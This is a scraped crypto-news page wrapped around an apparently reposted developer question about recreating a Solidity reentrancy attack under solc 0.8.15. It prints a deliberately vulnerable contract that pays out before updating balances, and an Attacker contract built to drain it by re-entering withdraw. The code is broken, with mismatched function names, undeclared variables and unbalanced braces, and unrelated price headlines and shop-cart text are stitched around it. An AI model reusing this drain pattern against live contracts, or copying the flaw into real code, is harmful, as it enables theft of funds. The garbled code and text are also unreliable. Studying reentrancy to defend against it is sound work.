CRYPTO NEWS

Price analysis 6/20: BTC, ETH, BNB, ADA, XRP, SOL, DOGE, DOT, LEO, AVAX

Bitcoin and select altcoins attempted a relief rally, but most breakouts are being capped-off well below the 20-day moving average.

Stack overflows with Rentrancy attack for solc 0.8.15

I am trying to recreate a reentrancy attack using solc 0.8.15 Vulnerable Code pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract Vulnerable { using SafeMath for uint256; mapping(address => uint256) public balances; function getBalance(address _request) public view returns (uint256 balance) { return balances[_request]; } function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function withdraw(uint256 _amount)::Listen

I am trying to recreate a reentrancy attack using solc 0.8.15

Vulnerable Code

pragma solidity ^0.8.0;  import "@openzeppelin/contracts/utils/math/SafeMath.sol";  contract Vulnerable {     using SafeMath for uint256;     mapping(address => uint256) public balances;      function getBalance(address _request)         public         view         returns (uint256 balance)     {         return balances[_request];     }      function donate(address _to) public payable {         balances[_to] = balances[_to].add(msg.value);     }      function withdraw(uint256 _amount) public {         if (balances[msg.sender] >= _amount) {             (bool result, ) = payable(msg.sender).call{value: _amount}("");             if (result) {                 _amount;             balances[msg.sender] -= _amount;         }     }      receive() external payable {} }  

Attacker

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.15;  import "@openzeppelin/contracts/security/ReentrancyGuard.sol";  interface IVulnerable {     function deposit(address _to) external payable;      function withdraw(uint256 _amount) external; }  contract Attacker {     IVulnerable public immutable vulnerable;     uint256 value;       constructor(IPwned _pwned) {         owner = payable(msg.sender);         pwned = _pwned;     }      receive() external payable {         withDraw();     }      function attack() external payable {         value = 1 ether;         vulnerable.deposit{value: value, gas: 1000000}(address(this));         withDraw();     }      function withDraw() private {         uint256 vulnerableFundsRemaining = address(pwned).balance;         bool shouldKeepGoing = vulnerableFundsRemaining > 0;         if (shouldKeepGoing) {             // can only withdraw at most our initial balance per withdraw call             uint256 toWithdraw = value < vulnerableFundsRemaining                 ? value                 : vulnerableFundsRemaining;             vulnerable.withdraw(toWithdraw);         }     }      function getBalance() external view returns (uint256) {         return address(this).balance;     } } 

Unfortunately , the call reverts and the attack is unsuccessful. Is there a way to still perform this in the latest solc version?

Price analysis 6/20: BTC, ETH, BNB, ADA, XRP, SOL, DOGE, DOT, LEO, AVAX

Shopping cart
There are no products in the cart!
Continue shopping
0